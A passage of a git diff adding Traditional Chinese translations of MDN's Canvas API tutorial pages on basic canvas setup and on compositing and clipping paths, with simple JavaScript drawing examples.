+ <li><a href="/en-US/docs/JavaScript/Timers/Daemons" title="/en-US/docs/JavaScript/Timers/Daemons">JavaScript Daemons Management</a></li>
+ <li><a href="/en-US/docs/DOM/HTMLCanvasElement" title="/en-US/docs/DOM/HTMLCanvasElement">HTMLCanvasElement</a></li>
+</ul>
+
+<p>{{PreviousNext("Web/Guide/HTML/Canvas_tutorial/Compositing", "Web/Guide/HTML/Canvas_tutorial/Optimizing_canvas")}}</p>
diff --git a/files/zh-tw/web/api/canvas_api/tutorial/basic_usage/index.html b/files/zh-tw/web/api/canvas_api/tutorial/basic_usage/index.html
new file mode 100644
index 0000000000..9d39027c96
--- /dev/null
+++ b/files/zh-tw/web/api/canvas_api/tutorial/basic_usage/index.html
@@ -0,0 +1,158 @@
+---
+title: Canvas 基本用途
+slug: Web/API/Canvas_API/Tutorial/Basic_usage
+translation_of: Web/API/Canvas_API/Tutorial/Basic_usage
+---
+<div>{{CanvasSidebar}} {{PreviousNext("Web/API/Canvas_API/Tutorial", "Web/API/Canvas_API/Tutorial/Drawing_shapes")}}</div>
+
+<div class="summary">
+<p>Let's start this tutorial by looking at the {{HTMLElement("canvas")}} {{Glossary("HTML")}} element itself. At the end of this page, you will know how to set up a canvas 2D context and have drawn a first example in your browser.</p>
+</div>
+
+<h2 id="&lt;canvas>_元素"><code>&lt;canvas&gt;</code> 元素</h2>
+
+<pre class="brush: html">&lt;canvas id="tutorial" width="150" height="150"&gt;&lt;/canvas&gt;
+</pre>
+
+<p style="margin-bottom: 0in;"><font face="DejaVu Sans, sans-serif"><span lang="zh-TW">首先，先來看看 </span></font>{{HTMLElement("canvas")}}<font face="DejaVu Sans, sans-serif"><span lang="zh-TW">，它看起來有點像 </span></font>{{HTMLElement("img")}}<font face="DejaVu Sans, sans-serif"><span lang="zh-TW"> 元素，其中的差異點在於 </span></font><code>&lt;canvas&gt;</code><font face="DejaVu Sans, sans-serif"><span lang="zh-TW"> 沒有 </span></font><code>src</code><font face="DejaVu Sans, sans-serif"> <span lang="zh-TW">和</span> </font><code>alt</code><font face="DejaVu Sans, sans-serif"> <span lang="zh-TW">屬性，</span></font><code>&lt;canvas&gt;</code><font face="DejaVu Sans, sans-serif"><span lang="zh-TW"> 只有 </span></font>{{htmlattrxref("width", "canvas")}}<font face="DejaVu Sans, sans-serif"><span lang="zh-TW"> </span><span lang="zh-TW">與 </span></font>{{htmlattrxref("height", "canvas")}}<font face="DejaVu Sans, sans-serif"><span lang="zh-TW"> 這兩個屬性，這兩個屬性皆為非必須、能透過</span></font><a href="/en-US/docs/DOM" rel="internal" title="en/DOM"> DOM</a><font face="DejaVu Sans, sans-serif"><span lang="zh-TW">屬性設定；若是沒有設定 </span></font><code>width</code><font face="DejaVu Sans, sans-serif"><span lang="zh-TW"> 和 </span></font><code>height</code><font face="DejaVu Sans, sans-serif"><span lang="zh-TW"> 屬性，畫布寬預設值為</span></font><strong><font face="DejaVu Sans, sans-serif"> </font>300 pixels</strong><font face="DejaVu Sans, sans-serif"><span lang="zh-TW">、高預設值為<strong> </strong></span></font><strong>150 pixels</strong><font face="DejaVu Sans, sans-serif"><span lang="zh-TW">，我們可以用 </span></font><a href="/en-US/docs/Web/CSS" rel="internal" title="en/CSS">CSS </a><font face="DejaVu Sans, sans-serif"><span lang="zh-TW">強制設定元素尺寸，但當渲染時，影像會縮放以符合元素的尺寸。</span></font></p>
+
+<div class="note">
+<p style="margin-bottom: 0in;"><strong>Note:</strong><font face="DejaVu Sans, sans-serif"><span lang="zh-TW">如果繪圖結果看起來有些扭曲，可以改試著用</span></font><font face="DejaVu Sans, sans-serif">&lt;canvas&gt;</font><font face="DejaVu Sans, sans-serif"><span lang="zh-TW">自身的</span></font><font face="DejaVu Sans, sans-serif">width</font><font face="DejaVu Sans, sans-serif"><span lang="zh-TW">和</span></font><font face="DejaVu Sans, sans-serif">height</font><font face="DejaVu Sans, sans-serif"><span lang="zh-TW">屬性而不要用</span></font><font face="DejaVu Sans, sans-serif">CSS</font><font face="DejaVu Sans, sans-serif"><span lang="zh-TW">來設定寬高。</span></font></p>
+</div>
+
+<p style="margin-bottom: 0in;"><font face="DejaVu Sans, sans-serif"><span lang="zh-TW">幾乎所有</span></font><font face="DejaVu Sans, sans-serif">HTML</font><font face="DejaVu Sans, sans-serif"><span lang="zh-TW">元素都有</span></font><font face="DejaVu Sans, sans-serif">id</font><font face="DejaVu Sans, sans-serif"><span lang="zh-TW">屬性，</span></font><font face="DejaVu Sans, sans-serif">&lt;canvas&gt;</font><font face="DejaVu Sans, sans-serif"><span lang="zh-TW">也不例外，為了方便於程式碼腳本找到需要的</span></font><font face="DejaVu Sans, sans-serif">&lt;canvas&gt;</font><font face="DejaVu Sans, sans-serif"><span lang="zh-TW">，每次都設定</span></font><font face="DejaVu Sans, sans-serif">id</font><font face="DejaVu Sans, sans-serif"><span lang="zh-TW">是一項不錯的作法。</span></font></p>
+
+<p style="margin-bottom: 0in;"><font face="DejaVu Sans, sans-serif"><span lang="zh-TW">如同一般的影像可以設定如邊界</span></font><font face="DejaVu Sans, sans-serif">(margin)</font><font face="DejaVu Sans, sans-serif"><span lang="zh-TW">、邊框</span></font><font face="DejaVu Sans, sans-serif">(border)</font><font face="DejaVu Sans, sans-serif"><span lang="zh-TW">、背景</span></font><font face="DejaVu Sans, sans-serif">(background)</font><font face="DejaVu Sans, sans-serif"><span lang="zh-TW">等等，</span></font><font face="DejaVu Sans, sans-serif">&lt;canvas&gt;</font><font face="DejaVu Sans, sans-serif"><span lang="zh-TW">元素一樣可以設定這些樣式，然而，這些樣式規則不會影響</span></font><font face="DejaVu Sans, sans-serif">canvas</font><font face="DejaVu Sans, sans-serif"><span lang="zh-TW">實際繪圖，稍後我們會看到相關範例。當沒有套用樣式規定時，</span></font><font face="DejaVu Sans, sans-serif">&lt;canvas&gt;</font><font face="DejaVu Sans, sans-serif"><span lang="zh-TW">會被初始成全透明。</span></font></p>
+
+<p style="margin-bottom: 0in;"> </p>
+
+<div id="section_2">
+<h3 id="錯誤替代內容(Fallback_content)"><font face="DejaVu Sans, sans-serif"><span lang="zh-TW">錯誤替代內容(</span></font>Fallback content)</h3>
+
+<p style="margin-bottom: 0in;"><font face="DejaVu Sans, sans-serif"><span lang="zh-TW">因為舊版瀏覽器</span></font><font face="DejaVu Sans, sans-serif">(</font><font face="DejaVu Sans, sans-serif"><span lang="zh-TW">特別是</span></font><font face="DejaVu Sans, sans-serif">IE9</font><font face="DejaVu Sans, sans-serif"><span lang="zh-TW">之前的</span></font><font face="DejaVu Sans, sans-serif">IE)</font><font face="DejaVu Sans, sans-serif"><span lang="zh-TW">不支援</span></font><font face="DejaVu Sans, sans-serif">{&lt;canvas&gt;}</font><font face="DejaVu Sans, sans-serif"><span lang="zh-TW">元素，我們應該為這些瀏覽器準備錯誤替代內容。</span></font></p>
+
+<p style="margin-bottom: 0in;"><font face="DejaVu Sans, sans-serif"><span lang="zh-TW">當不支援</span></font><font face="DejaVu Sans, sans-serif">&lt;canvas&gt;</font><font face="DejaVu Sans, sans-serif"><span lang="zh-TW">的瀏覽器看到不認識的</span></font><font face="DejaVu Sans, sans-serif">&lt;canvas&gt;</font><font face="DejaVu Sans, sans-serif"><span lang="zh-TW">時會忽略</span></font><font face="DejaVu Sans, sans-serif">&lt;canvas&gt;</font><font face="DejaVu Sans, sans-serif"><span lang="zh-TW">，而此時在</span></font><font face="DejaVu Sans, sans-serif">&lt;canvas&gt;</font><font face="DejaVu Sans, sans-serif"><span lang="zh-TW">下瀏覽器認識的替代內容則會被瀏覽器解析顯示，至於支援</span></font><font face="DejaVu Sans, sans-serif">&lt;canvas&gt;</font><font face="DejaVu Sans, sans-serif"><span lang="zh-TW">的瀏覽器則是會正常解析</span></font><font face="DejaVu Sans, sans-serif">&lt;canvas&gt;</font><font face="DejaVu Sans, sans-serif"><span lang="zh-TW">，忽略替代內容。</span></font></p>
+
+<p style="margin-bottom: 0in;"><font face="DejaVu Sans, sans-serif"><span lang="zh-TW">例如，我們可以準備一段</span></font><font face="DejaVu Sans, sans-serif">canvas</font><font face="DejaVu Sans, sans-serif"><span lang="zh-TW">內容的說明文字或</span></font><font face="DejaVu Sans, sans-serif">canvas</font><font face="DejaVu Sans, sans-serif"><span lang="zh-TW">繪圖完成後的靜態圖片，如下所示</span></font><font face="DejaVu Sans, sans-serif">:</font></p>
+
+<pre class="brush: html">&lt;canvas id="stockGraph" width="150" height="150"&gt;
+  current stock price: $3.15 +0.15
+&lt;/canvas&gt;
+
+&lt;canvas id="clock" width="150" height="150"&gt;
+  &lt;img src="images/clock.png" width="150" height="150" alt=""/&gt;
+&lt;/canvas&gt;
+</pre>
+
+<h6 id="sect1"> </h6>
+
+<h2 id="需要&lt;canvas>標籤"><font face="DejaVu Sans, sans-serif"><span lang="zh-TW">需要</span></font><font face="DejaVu Sans, sans-serif">&lt;/canvas&gt;</font><font face="DejaVu Sans, sans-serif"><span lang="zh-TW">標籤</span></font></h2>
+
+<p style="margin-bottom: 0in;"><font face="DejaVu Sans"><span lang="zh-TW"><font face="DejaVu Sans, sans-serif">不像</font></span></font>{{HTMLElement("img")}}<font face="DejaVu Sans"><span lang="zh-TW"><font face="DejaVu Sans, sans-serif">元素，</font></span></font><font face="DejaVu Sans, sans-serif">{{HTMLElement("canvas")}}</font><font face="DejaVu Sans"><span lang="zh-TW"><font face="DejaVu Sans, sans-serif">元素必須要有</font></span></font><font face="DejaVu Sans, sans-serif">&lt;/canvas&gt;</font><font face="DejaVu Sans"><span lang="zh-TW"><font face="DejaVu Sans, sans-serif">結束標籤。</font></span></font></p>
+
+<p style="margin-bottom: 0in;"> </p>
+
+<div class="note">
+<p style="margin-bottom: 0in;"><font face="DejaVu Sans, sans-serif"><span lang="zh-TW">縱使早期</span></font><font face="DejaVu Sans, sans-serif">Apple</font><font face="DejaVu Sans, sans-serif"><span lang="zh-TW">的</span></font><font face="DejaVu Sans, sans-serif">Safari</font><font face="DejaVu Sans, sans-serif"><span lang="zh-TW">瀏覽器不需要結束標籤，但是基於規範，這是必須的，所以，為了相容性考量，應該要有結束標籤。</span></font><font face="DejaVu Sans, sans-serif">Safari 2.0</font><font face="DejaVu Sans, sans-serif"><span lang="zh-TW">以前的版本會同時解析</span></font><font face="DejaVu Sans, sans-serif">canvas</font><font face="DejaVu Sans, sans-serif"><span lang="zh-TW">以及替代內容，除非我們用</span></font><font face="DejaVu Sans, sans-serif">CSS</font><font face="DejaVu Sans, sans-serif"><span lang="zh-TW">去遮蓋內容，不過幸運的是，現在已經沒有甚麼人在用這些舊版</span></font><font face="DejaVu Sans, sans-serif">Safari</font><font face="DejaVu Sans, sans-serif"><span lang="zh-TW">。</span></font></p>
+</div>
+
+<p style="margin-bottom: 0in;"><font face="DejaVu Sans, sans-serif"><span lang="zh-TW">如果不需要錯誤替代內容，簡單的</span></font><font face="DejaVu Sans, sans-serif">&lt;canvas id="foo" ...&gt;&lt;/canvas&gt;</font><font face="DejaVu Sans, sans-serif"><span lang="zh-TW">便可以完全相容於所有支援的瀏覽器。</span></font></p>
+
+<p style="margin-bottom: 0in;"> </p>
+
+<h2 id="渲染環境(rendering_context)"><font face="DejaVu Sans, sans-serif"><span lang="zh-TW">渲染環境</span></font>(rendering context)</h2>
+
+<p style="margin-bottom: 0in;"><font face="DejaVu Sans, sans-serif">{{HTMLElement("canvas")}}</font><font face="DejaVu Sans, sans-serif"><span lang="zh-TW">產生一個固定大小的繪圖畫布，這個畫布上有一或多個</span></font><font face="DejaVu Sans, sans-serif"><span lang="zh-TW">渲染環境</span></font><font face="DejaVu Sans, sans-serif">(rendering context)，我們</font><font face="DejaVu Sans, sans-serif"><span lang="zh-TW">可以用</span></font><font face="DejaVu Sans, sans-serif"><span lang="zh-TW">渲染環境</span></font><font face="DejaVu Sans, sans-serif"><span lang="zh-TW">來產生或操作顯示內容的渲染環境</span></font><font face="DejaVu Sans, sans-serif">(rendering context)</font><font face="DejaVu Sans, sans-serif"><span lang="zh-TW">。</span></font><font face="DejaVu Sans, sans-serif"><span lang="zh-TW"><font face="DejaVu Sans, sans-serif">不同</font>環境</span></font><font face="DejaVu Sans, sans-serif">(context)</font><font face="DejaVu Sans, sans-serif"><span lang="zh-TW">可能會提供不同型態的渲染方式，好比說</span></font><a href="/en-US/docs/Web/WebGL" title="/en-US/docs/Web/WebGL">WebGL</a><font face="DejaVu Sans, sans-serif"><span lang="zh-TW">使用</span></font><a class="external" href="http://www.khronos.org/opengles/" rel="external" title="http://en.wikipedia.org/wiki/OpenGL_ES">OpenGL ES</a><font face="DejaVu Sans, sans-serif"><span lang="zh-TW">的</span></font><font face="DejaVu Sans, sans-serif">3D</font><font face="DejaVu Sans, sans-serif"><span lang="zh-TW">環境</span></font><font face="DejaVu Sans, sans-serif">(context)，</font><font face="DejaVu Sans, sans-serif"><span lang="zh-TW">而這裡我們主要將討論</span></font><font face="DejaVu Sans, sans-serif">2D</font><font face="DejaVu Sans, sans-serif"><span lang="zh-TW">渲染環境</span></font><font face="DejaVu Sans, sans-serif">(rendering context)</font><font face="DejaVu Sans, sans-serif"><span lang="zh-TW">。</span></font></p>
+
+<p style="margin-bottom: 0in;"><font face="DejaVu Sans"><span lang="zh-TW"><font face="DejaVu Sans, sans-serif">一開始</font></span></font><font face="DejaVu Sans, sans-serif">canvas</font><font face="DejaVu Sans"><span lang="zh-TW"><font face="DejaVu Sans, sans-serif">為空白，程式碼腳本需要先存取渲染環境，在上面繪圖，然後才會顯現影像。</font></span></font>{{HTMLElement("canvas")}} <font face="DejaVu Sans"><span lang="zh-TW"><font face="DejaVu Sans, sans-serif">素有一個方法</font></span></font><font face="DejaVu Sans, sans-serif">(</font><a href="/en-US/docs/Web/API/HTMLCanvasElement#Methods" title="/en-US/docs/Web/API/HTMLCanvasElement#Methods">method</a><font face="DejaVu Sans, sans-serif">)</font><font face="DejaVu Sans"><span lang="zh-TW"><font face="DejaVu Sans, sans-serif">叫</font></span></font><font face="DejaVu Sans, sans-serif">getContext()</font><font face="DejaVu Sans"><span lang="zh-TW"><font face="DejaVu Sans, sans-serif">，透過此方法可以取得渲染環境及其繪圖函數</font></span></font><font face="DejaVu Sans, sans-serif">(function)</font><font face="DejaVu Sans"><span lang="zh-TW"><font face="DejaVu Sans, sans-serif">；</font></span></font><font face="DejaVu Sans, sans-serif">getContext()</font><font face="DejaVu Sans"><span lang="zh-TW"><font face="DejaVu Sans, sans-serif">輸入參數只有渲染環境類型一項，像本教學所討論的</font></span></font><font face="DejaVu Sans, sans-serif">2D</font><font face="DejaVu Sans"><span lang="zh-TW"><font face="DejaVu Sans, sans-serif">繪圖，就是輸入”</font></span></font><font face="DejaVu Sans, sans-serif">2d”</font><font face="DejaVu Sans"><span lang="zh-TW"><font face="DejaVu Sans, sans-serif">。</font></span></font></p>
+
+<pre class="brush: js">var canvas = document.getElementById('tutorial');
+var ctx = canvas.getContext('2d');
+</pre>
+
+<p style="margin-bottom: 0in;"><font face="DejaVu Sans, sans-serif"><span lang="zh-TW">上面第一行先呼叫</span></font>{{domxref("document.getElementById()")}}<font face="DejaVu Sans, sans-serif"><span lang="zh-TW">來取得</span></font>{{HTMLElement("canvas")}}<font face="DejaVu Sans, sans-serif"><span lang="zh-TW">元素，一旦取得元素後，便可以用其</span></font><font face="DejaVu Sans, sans-serif">getContext()</font><font face="DejaVu Sans, sans-serif"><span lang="zh-TW">取得渲染環境。</span></font></p>
+
+<p style="margin-bottom: 0in;"> </p>
+
+<div id="section_5">
+<h2 id="支援性檢查"><font face="DejaVu Sans, sans-serif"><span lang="zh-TW">支援性檢查</span></font></h2>
+
+<p style="margin-bottom: 0in;"><font face="DejaVu Sans, sans-serif"><span lang="zh-TW">替代內容會被不支援</span></font>{{HTMLElement("canvas")}}.<font face="DejaVu Sans, sans-serif"><span lang="zh-TW">的瀏覽器所顯示。程式碼腳本也可以利用檢查</span></font><font face="DejaVu Sans, sans-serif">getContext()</font><font face="DejaVu Sans, sans-serif"><span lang="zh-TW">方法是否存在來檢查是否支援</span></font><font face="DejaVu Sans, sans-serif">&lt;canvas&gt;</font><font face="DejaVu Sans, sans-serif"><span lang="zh-TW">，我們可以修改上面例子成如下</span></font><font face="DejaVu Sans, sans-serif">:</font></p>
+
+<pre class="brush: js">var canvas = document.getElementById('tutorial');
+
+if (canvas.getContext){
+  var ctx = canvas.getContext('2d');
+  // drawing code here
+} else {
+  // canvas-unsupported code here
+}
+</pre>
+</div>
+</div>
+
+<h6 id="sect2"> </h6>
+
+<h2 id="一個範本"><font face="DejaVu Sans, sans-serif"><span lang="zh-TW">一個範本</span></font></h2>
+
+<p style="margin-bottom: 0in;"><font face="DejaVu Sans, sans-serif"><span lang="zh-TW">這裡是一個最簡單的範本，之後就是我們範例的起始點。</span></font></p>
+
+<pre class="brush: html">&lt;html&gt;
+  &lt;head&gt;
+    &lt;title&gt;Canvas tutorial&lt;/title&gt;
+    &lt;script type="text/javascript"&gt;
+      function draw(){
+        var canvas = document.getElementById('tutorial');
+        if (canvas.getContext){
+          var ctx = canvas.getContext('2d');
+        }
+      }
+    &lt;/script&gt;
+    &lt;style type="text/css"&gt;
+      canvas { border: 1px solid black; }
+    &lt;/style&gt;
+  &lt;/head&gt;
+  &lt;body onload="draw();"&gt;
+    &lt;canvas id="tutorial" width="150" height="150"&gt;&lt;/canvas&gt;
+  &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<p style="margin-bottom: 0in;"><font face="DejaVu Sans, sans-serif"><span lang="zh-TW">一旦網頁載入完成後，程式碼會呼叫</span></font><font face="DejaVu Sans, sans-serif">draw()</font><font face="DejaVu Sans, sans-serif"><span lang="zh-TW">函數</span></font><font face="DejaVu Sans, sans-serif">(</font><font face="DejaVu Sans, sans-serif"><span lang="zh-TW">這是利用</span></font><font face="DejaVu Sans, sans-serif">document</font><font face="DejaVu Sans, sans-serif"><span lang="zh-TW">上的</span></font><font face="DejaVu Sans, sans-serif">load</font><font face="DejaVu Sans, sans-serif"><span lang="zh-TW">事件完成</span></font><font face="DejaVu Sans, sans-serif">)</font><font face="DejaVu Sans, sans-serif"><span lang="zh-TW">，這類</span></font><font face="DejaVu Sans, sans-serif">draw()</font><font face="DejaVu Sans, sans-serif"><span lang="zh-TW">函數也可以透過</span></font>{{domxref("window.setTimeout()")}}<font face="DejaVu Sans, sans-serif">, </font>{{domxref("window.setInterval()")}}<font face="DejaVu Sans, sans-serif"><span lang="zh-TW">或其他事件處理函數來呼叫，只要呼叫的時間點是在網頁載入完後。</span></font></p>
+
+<p style="margin-bottom: 0in;"><font face="DejaVu Sans, sans-serif"><span lang="zh-TW">這是我們的範本實際看起來的樣子</span></font><font face="DejaVu Sans, sans-serif">:</font></p>
+
+<p>{{EmbedLiveSample("A_skeleton_template", 160, 160)}}</p>
+
+<h2 id="一個簡單的範例"><font face="DejaVu Sans, sans-serif"><span lang="zh-TW">一個簡單的範例</span></font></h2>
+
+<p style="margin-bottom: 0in;"><font face="DejaVu Sans, sans-serif"><span lang="zh-TW">首先，讓我們先來畫兩個相交的正方形，其中一個正方形有</span></font><font face="DejaVu Sans, sans-serif">alpha</font><font face="DejaVu Sans, sans-serif"><span lang="zh-TW">透明值，之後我們會說明這是如何達成的。</span></font></p>
+
+<pre class="brush: html">&lt;html&gt;
+ &lt;head&gt;
+  &lt;script type="application/javascript"&gt;
+    function draw() {
+      var canvas = document.getElementById("canvas");
+      if (canvas.getContext) {
+        var ctx = canvas.getContext("2d");
+
+        ctx.fillStyle = "rgb(200,0,0)";
+        ctx.fillRect (10, 10, 55, 50);
+
+        ctx.fillStyle = "rgba(0, 0, 200, 0.5)";
+        ctx.fillRect (30, 30, 55, 50);
+      }
+    }
+  &lt;/script&gt;
+ &lt;/head&gt;
+ &lt;body onload="draw();"&gt;
+   &lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;
+ &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<p style="margin-bottom: 0in;"><font face="DejaVu Sans, sans-serif"><span lang="zh-TW">本範例的結果如下</span></font><font face="DejaVu Sans, sans-serif">:</font></p>
+
+<p>{{EmbedLiveSample("A_simple_example", 160, 160, "https://mdn.mozillademos.org/files/228/canvas_ex1.png")}}</p>
+
+<p>{{PreviousNext("Web/Guide/HTML/Canvas_tutorial", "Web/Guide/HTML/Canvas_tutorial/Drawing_shapes")}}</p>
diff --git a/files/zh-tw/web/api/canvas_api/tutorial/compositing/index.html b/files/zh-tw/web/api/canvas_api/tutorial/compositing/index.html
new file mode 100644
index 0000000000..e5453c93a5
--- /dev/null
+++ b/files/zh-tw/web/api/canvas_api/tutorial/compositing/index.html
@@ -0,0 +1,207 @@
+---
+title: 合成效果
+slug: Web/API/Canvas_API/Tutorial/Compositing
+translation_of: Web/API/Canvas_API/Tutorial/Compositing
+---
+<div>{{CanvasSidebar}} {{PreviousNext("Web/API/Canvas_API/Tutorial/Transformations", "Web/API/Canvas_API/Tutorial/Basic_animations")}}</div>
+
+<p>在前述的範例中，新繪製的圖形總會覆蓋在之前的圖形上，對大多數情況來說這相當正常，不過它也限制了圖形繪製的順序。其實我們可以透過 globalCompositeOperation 屬性來改變這項預設行為。</p>
+
+<h2 id="globalCompositeOperation" name="globalCompositeOperation"><code>globalCompositeOperation</code></h2>
+
+<p>利用 globalCompositeOperation，我們可以將新圖形繪製在舊圖形之下、遮蓋部分區域、清除畫布部分區域 (不同於 clearRect() 函式只能清除矩形區域)。</p>
+
+<dl>
+ <dt><code>globalCompositeOperation = <em>type</em></code></dt>
+ <dt>type 字串可指定為以下 12 種合成設定之一，每一種合成設定均將套用到新繪製的圖形上。</dt>
+</dl>
+
+<div class="note">
+<p><strong>Note:</strong> 下列圖例的藍色矩形是舊圖形，紅色圓形是新圖形。</p>
+</div>
+
+<table style="width: 100%;">
+ <tbody>
+  <tr>
+   <td style="padding: 5px; vertical-align: top;">
+    <p><strong>source-over</strong> 預設值。將新圖形畫在舊圖形之上。</p>
+   </td>
+   <td style="padding: 5px; vertical-align: top;">
+    <p><img alt="Image:Canvas_composite_srcovr.png" class="internal" src="https://mdn.mozillademos.org/files/220/Canvas_composite_srcovr.png"></p>
+   </td>
+   <td style="padding: 5px; vertical-align: top;">
+    <p><strong>destination-over</strong><br>
+     將新圖形畫在舊圖形之下。</p>
+   </td>
+   <td style="padding: 5px; vertical-align: top;">
+    <p><img alt="Image:Canvas_composite_destovr.png" class="internal" src="https://mdn.mozillademos.org/files/215/Canvas_composite_destovr.png"></p>
+   </td>
+  </tr>
+  <tr>
+   <td style="padding: 5px; vertical-align: top;">
+    <p><strong>source-in</strong><br>
+     只保留新、舊圖形重疊的新圖形區域，其餘皆變為透明。</p>
+   </td>
+   <td style="padding: 5px; vertical-align: top;">
+    <p><img alt="Image:Canvas_composite_srcin.png" class="internal" src="https://mdn.mozillademos.org/files/218/Canvas_composite_srcin.png"></p>
+   </td>
+   <td style="padding: 5px; vertical-align: top;">
+    <p><strong>destination-in</strong><br>
+     只保留新、舊圖形重疊的舊圖形區域，其餘皆變為透明。</p>
+   </td>
+   <td style="padding: 5px; vertical-align: top;">
+    <p><img alt="Image:Canvas_composite_destin.png" class="internal" src="https://mdn.mozillademos.org/files/213/Canvas_composite_destin.png"></p>
+   </td>
+  </tr>
+  <tr>
+   <td style="padding: 5px; vertical-align: top;">
+    <p><strong>source-out</strong><br>
+     只保留新、舊圖形非重疊的新圖形區域，其餘皆變為透明。</p>
+   </td>
+   <td style="padding: 5px; vertical-align: top;">
+    <p><img alt="Image:Canvas_composite_srcout.png" class="internal" src="https://mdn.mozillademos.org/files/219/Canvas_composite_srcout.png"></p>
+   </td>
+   <td style="padding: 5px; vertical-align: top;">
+    <p><strong>destination-out</strong><br>
+     只保留新、舊圖形非重疊的舊圖形區域，其餘皆變為透明。</p>
+   </td>
+   <td style="padding: 5px; vertical-align: top;">
+    <p><img alt="Image:Canvas_composite_destout.png" class="internal" src="https://mdn.mozillademos.org/files/214/Canvas_composite_destout.png"></p>
+   </td>
+  </tr>
+  <tr>
+   <td style="padding: 5px; vertical-align: top;">
+    <p><strong>source-atop</strong><br>
+     新圖形只繪製在新、舊圖形重疊的新圖形區域，然後蓋在舊圖形之上。</p>
+   </td>
+   <td style="padding: 5px; vertical-align: top;">
+    <p><img alt="Image:Canvas_composite_srcatop.png" class="internal" src="https://mdn.mozillademos.org/files/217/Canvas_composite_srcatop.png"></p>
+   </td>
+   <td style="padding: 5px; vertical-align: top;">
+    <p><strong>destination-atop</strong><br>
+     舊圖形只保留在新、舊圖形重疊的舊圖形區域，然後蓋在新圖形之上。</p>
+   </td>
+   <td style="padding: 5px; vertical-align: top;">
+    <p><img alt="Image:Canvas_composite_destatop.png" class="internal" src="https://mdn.mozillademos.org/files/212/Canvas_composite_destatop.png"></p>
+   </td>
+  </tr>
+  <tr>
+   <td style="padding: 5px; vertical-align: top;">
+    <p><strong>lighter</strong><br>
+     新舊圖形重疊區域的顏色，由新、舊圖形的顏色碼相加而得。</p>
+   </td>
+   <td style="padding: 5px; vertical-align: top;">
+    <p><img alt="Image:Canvas_composite_lighten.png" class="internal" src="https://mdn.mozillademos.org/files/216/Canvas_composite_lighten.png"></p>
+   </td>
+   <td style="padding: 5px; vertical-align: top;">
+    <p><strong>darker</strong> {{obsolete_inline}}</p>
+
+    <p>新舊圖形重疊區域的顏色，由新、舊圖形的顏色碼相減而得。此屬性值已經從畫布規格中移除了，不再支援。</p>
+   </td>
+   <td style="padding: 5px; vertical-align: top;">
+    <p><img alt="Image:Canvas_composite_darken.png" class="internal" src="https://mdn.mozillademos.org/files/211/Canvas_composite_darken.png"></p>
+   </td>
+  </tr>
+  <tr>
+   <td style="padding: 5px; vertical-align: top;">
+    <p><strong>xor</strong><br>
+     新舊圖形重疊區域設為透明。</p>
+   </td>
+   <td style="padding: 5px; vertical-align: top;">
+    <p><img alt="Image:Canvas_composite_xor.png" class="internal" src="https://mdn.mozillademos.org/files/221/Canvas_composite_xor.png"></p>
+   </td>
+   <td style="padding: 5px; vertical-align: top;">
+    <p><strong>copy</strong><br>
+     移除其他圖形，只保留新圖形。</p>
+   </td>
+   <td style="padding: 5px; vertical-align: top;">
+    <p><img alt="Image:Canvas_composite_copy.png" class="internal" src="https://mdn.mozillademos.org/files/210/Canvas_composite_copy.png"></p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p>這裡有這些構圖組合的<a href="/en-US/docs/Web/Guide/HTML/Canvas_tutorial/Compositing/Example" title="/en-US/docs/Web/Guide/HTML/Canvas_tutorial/Compositing/Example">實際範例</a>，<a href="https://mdn.mozillademos.org/en-US/docs/Web/Guide/HTML/Canvas_tutorial/Compositing/Example$samples/Compositing_example" title="https://mdn.mozillademos.org/en-US/docs/Web/Guide/HTML/Canvas_tutorial/Compositing/Example$samples/Compositing_example">輸出結果</a>在此。</p>
+
+<h2 id="Clipping_paths" name="Clipping_paths">裁剪路徑</h2>
+
+<p><img alt="" class="internal" src="https://mdn.mozillademos.org/files/209/Canvas_clipping_path.png" style="float: right;">裁剪路徑就像是一般畫布圖形繪圖，但就如同遮罩一樣，會蓋掉不需要的部分，如右圖所示。紅邊星星是我們的裁剪路徑，在路徑區域以外部分都不會出現在畫布上。</p>
+
+<p>和上述 globalCompositeOperation 相比，可以發現 source-in 和 source-atop 這兩種構圖組合所達到的效果，和裁剪路徑類似，而其中最大差異在於裁剪路徑不需加入新圖形，消失的部分也不會出現在畫布上，所以，如果想要限定繪圖區域，裁剪路徑會是更理想的作法。</p>
+
+<p>在<a href="/en-US/docs/Web/Guide/HTML/Canvas_tutorial/Drawing_shapes#Drawing_paths" title="Web/Guide/HTML/Canvas_tutorial/Drawing_shapes#Drawing_paths">繪畫圖形</a>一章中，我們只提到 stroke() 和 fill() 函式，但其實還有第三個函式，那就是 clip() 函式。</p>
+
+<dl>
+ <dt><code>clip()</code></dt>
+ <dd>轉換目前繪圖路徑為裁剪路徑。</dd>
+</dl>
+
+<p>呼叫 clip() 除了會替代 closePath() 來關閉路徑之外，還會轉換目前填滿或勾勒繪圖路徑為裁剪路徑。</p>
+
+<p> {{HTMLElement("canvas")}} 畫布預設有一個等同於本身大小的裁剪路徑，等同於無裁剪效果。</p>
+
+<h3 id="A_clip_example" name="A_clip_example"><code>clip</code> 範例</h3>
+
+<p>本範例使用了圓形的裁剪路徑，來限定畫星星時的繪圖區域。</p>
+
+<pre class="brush: js">function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+  ctx.fillRect(0,0,150,150);
+  ctx.translate(75,75);
+
+  // Create a circular clipping path
+  ctx.beginPath();
+  ctx.arc(0,0,60,0,Math.PI*2,true);
+  ctx.clip();
+
+  // draw background
+  var lingrad = ctx.createLinearGradient(0,-75,0,75);
+  lingrad.addColorStop(0, '#232256');
+  lingrad.addColorStop(1, '#143778');
+
+  ctx.fillStyle = lingrad;
+  ctx.fillRect(-75,-75,150,150);
+
+  // draw stars
+  for (var j=1;j&lt;50;j++){
+    ctx.save();
+    ctx.fillStyle = '#fff';
+    ctx.translate(75-Math.floor(Math.random()*150),
+                  75-Math.floor(Math.random()*150));
+    drawStar(ctx,Math.floor(Math.random()*4)+2);
+    ctx.restore();
+  }
+
+}
+
+function drawStar(ctx,r){
+  ctx.save();
+  ctx.beginPath()
+  ctx.moveTo(r,0);
+  for (var i=0;i&lt;9;i++){
+    ctx.rotate(Math.PI/5);
+    if(i%2 == 0) {
+      ctx.lineTo((r/0.525731)*0.200811,0);
+    } else {
+      ctx.lineTo(r,0);
+    }
+  }
+  ctx.closePath();
+  ctx.fill();
+  ctx.restore();
+}
+</pre>
+
+<div class="hidden">
